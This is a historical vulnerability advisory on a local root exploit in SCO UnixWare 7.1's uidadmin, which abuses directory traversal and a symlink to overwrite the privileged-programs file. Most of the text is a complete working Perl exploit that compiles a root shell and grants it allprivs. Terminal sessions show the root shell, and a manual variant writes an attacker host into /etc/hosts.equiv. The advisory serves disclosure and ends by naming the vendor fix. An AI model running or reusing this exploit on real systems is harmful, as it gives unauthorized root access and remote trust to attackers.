COMMAND
uidadmin
SYSTEMS AFFECTED
UnixWare 7
PROBLEM
Brock Tellier found following. SCO UnixWare 7.1's sgid-sys
/usr/bin/uidadmin will allow any user to gain root privileges as
a result of it's ability to write *ANY* file, not just those
traditionally writable by gid-sys. All of testing was done on
UnixWare 7.1, no other versions have been tested although 7.x is
assumed to be vulnerable as well.
UnixWare's system privileges are assigned two-fold. First, it has
the standard UNIX suid/sgid conventions. Second, it has a list of
programs and the additional privileges they gain when run in
/etc/security/tcb/privs.
For instance, /usr/bin/ping is *not* suid/sgid but may still
perform raw socket operations because it gains the "driver"
privilege in the privs file. Even ln, cp, mkdir and so on must
have filesystem modification privileges in this file in order to
perform their respective functions.
A program which has "allprivs" defined in /etc/security/tcb/privs
may perform any operation as though this program was suid-root.
If we are able to overflow a buffer, for instance, in one of
these allprivs programs, we could run shellcode normally, but
only after we've set our uid to 0. Similarly if we overflowed
ping, we could do all the socket operations we want, but we could
NOT gain root access.
The uidadmin program does not have allprivs defined, so we cannot
just cut to the setreuid(0,0) chase and execute our shell.
uidadmin does, however, have the dacwrite privilege and can
therefore override all of the normal UNIX DAC (Discretionary
Access Control) security precautions (including filemode bits).
Because of the way uidadmin opens "uidata.tmp", we can only either
create a file with any contents we desire anywhere on the system
(as long as it doesn't exist) or overwrite an existing file with
our string.
In this way we can add our own program to the privs file by using
a symlink exploit in uidadmin to overwrite it. The only problem
with this is that simply placing our program in the file is not
enough. The filepriv() function must be called by root or a
process with the appropriate privs permission and assign the file
to the kernel's privileged file table. This can also be
accomplished by running "initprivs", which is not world
executable. The good news is that the privileged file table is
re-created from the privs file at every boot, so if we run our
exploit and have some patience, we'll eventually get our
rootshell.
The convention for a program in /etc/security/tcb/privs is
SizeInBytes:Checksum:CTimeSinceEpoch:PrivsToGain:/Full/Path/To/File
size and time can be gotten with the standard stat(2) st_size and
st_ctime. The checksum uses sum(1)'s alternate machine-dependant
algorythm (sum -r). For more information on UnixWare's wacky
privileges system, see the man pages for Intro(2), priv, and
filepriv(2).
The actual symlink exploit goes like this: by specifying a scheme
name as a reverse-directory-transversal name from /etc/uidadmindir
(such as uidadmin -S ../../tmp) we can force uidadmin to look for
our version of uidata. If this file exists, and you have specified
the "-a -r bah" options, uidadmin will create or overwrite a file
named "uidata.tmp" with the data from "uidata". By placing our
string in uidata and making a symlink from uidata.tmp to anywhere,
we can overwrite system files and gain root privileges.
A warning about the uix.pl exploit: uix.pl will overwrite
/etc/security/tcb/privs with a single entry. All other entries
will be lost and thus the next time the kernel permissions table
is rebuilt, you will not be able to run any programs (as a
regular user) with the permissions they had before the reboot.
I.E. ping won't work because it doesn't gain "driver" privileges
anymore. To get around this, make sure you login immediatly after
reboot, execute your rootshell and:
cat /etc/security/tcb/oprivs >> /etc/security/tcb/privs
then run "initprivs" to re-install all privileged programs.
bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ ls -la /usr/bin/uidadmin
-r-xr-s--x 1 sys sys 18012 Apr 3 1998 /usr/bin/uidadmin
bash-2.02$ ./uix.pl
* uidadmin exploit for UnixWare 7.1 <btellier@usa.net>
/home/xnec/ui successfully compiled
/home/xnec/ui size=3760 ctime=944185049
/home/xnec/ui checksum is 16136
placing '3760:16136:944185049:%fixed,allprivs:/home/xnec/ui' into /tmp/uidata
UX:uidadmin: ERROR: mandatory field(s) missing
Exploit successful. Run /home/xnec/ui after reboot for rootshell
bash-2.02$
AFTER REBOOT:
bash-2.02$ ./ui
#
Code itself:
#!/usr/bin/perl
###########################################################
# /usr/bin/uidadmin exploit for UnixWare 7.1
# Uses a symlink exploit to add our program to a list of elevated privileges
# programs in /etc/security/tcb/privs. After reboot, /tmp/ui will be added
# to the list of privileged programs.
#
# Format of the privs file is as follows (ctime and size are just as
# st_ctime and st_size as described by stat(2)):
# size:checksum:time:perms:/full/path/to/prog
#
# -Brock Tellier btellier@usa.net
#
###########################################################
$ui_source = "/home/xnec/ui.c";
$ui_dest = "/home/xnec/ui";
$ui_code = "void main() { setreuid(0,0); system(\"/bin/ksh\");}";
$privloc = "/etc/security/tcb/privs";
$uidatafile="/tmp/uidata";
$sumpath = "/usr/bin/sum";
$uidata_sym = "/tmp/uidata.tmp";
$compiler = "cc";
$uidadmin = "/usr/bin/uidadmin";
###
# Path to the directory where your $uidata_sym will exist relative to
# /etc/uidata/
###
$uidadminarg = "../../tmp";
print("\n* uidadmin exploit for UnixWare 7.1 <btellier\@usa.net>\n\n");
###
# Output $ui_code to $ui_source and compile into $ui_dest
###
open(UIS, ">$ui_source");
printf(UIS "$ui_code\n");
close(UIS);
system ("$compiler -o $ui_dest $ui_source");
if ( -e $ui_dest ) {
print("\n$ui_dest successfully compiled\n");
}
else { die "error compiling $ui_dest"; }
###
# stat $ui_dest for size in bytes and ctime (seconds since epoch)
###
$size=(stat($ui_dest))[7] || die "cannot stat $ui_dest";
$ctime=(stat($ui_dest))[10];
print("$ui_dest size=$size ctime=$ctime\n");
###
# get the checksum value for $ui_dest
###
open(SUM, "$sumpath -r $ui_dest|");
$checksum=<SUM>;
chomp($checksum);
@sumfields=split(' ', $checksum);
$chksum = @sumfields[0];
$chksum =~ s/^0//;
print("$ui_dest checksum is $chksum\n");
###
# Put our entry into $uidatafile, use trailing newline
###
$uidata="$size:$chksum:$ctime:\%fixed,allprivs:$ui_dest";
print("placing '$uidata' into $uidatafile\n");
open(TMP, ">$uidatafile");
print(TMP "$uidata\n");
close(TMP);
###
# Create symlink from $uidata_sym to $privloc
###
symlink($privloc, $uidata_sym);
###
# All the preparation is done, launch the exploit
###
system("$uidadmin -S $uidadminarg -a -r bah");
###
# Find out if the exploit worked, assume it did if $ui_dest is in $privloc
###
open (PRIV, "$privloc");
@privs = <PRIV>;
foreach $priv (@privs) {
if ($priv =~ /$ui_dest/) {
print("Exploit successful. Run $ui_dest after reboot for rootshell
\n");
exit(0);
}
}
print("Exploit not successful, sorry!\n");
For those with little patience
bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ ls -la /etc/hosts.equiv
UX:ls: ERROR: Cannot access /etc/hosts.equiv: No such file or directory
bash-2.02$ ls -la /usr/bin/uidadmin
-r-xr-s--x 1 sys sys 18012 Apr 3 1998 /usr/bin/uidadmin
bash-2.02$ ln -s /etc/hosts.equiv /tmp/uidata.tmp
bash-2.02$ echo "cracker.com" > /tmp/uidata
bash-2.02$ /usr/bin/uidadmin -S ../../tmp -a -r bah
UX:uidadmin: ERROR: mandatory field(s) missing
bash-2.02$ cat /etc/hosts.equiv
cracker.com
bash-2.02$ ls -al /etc/hosts.equiv
-rw-rw-r-- 1 sys sys 12 Dec 2 19:05 /etc/hosts.equiv
bash-2.02$
SOLUTION
SSE046 has been released to fix security holes in uidadmin.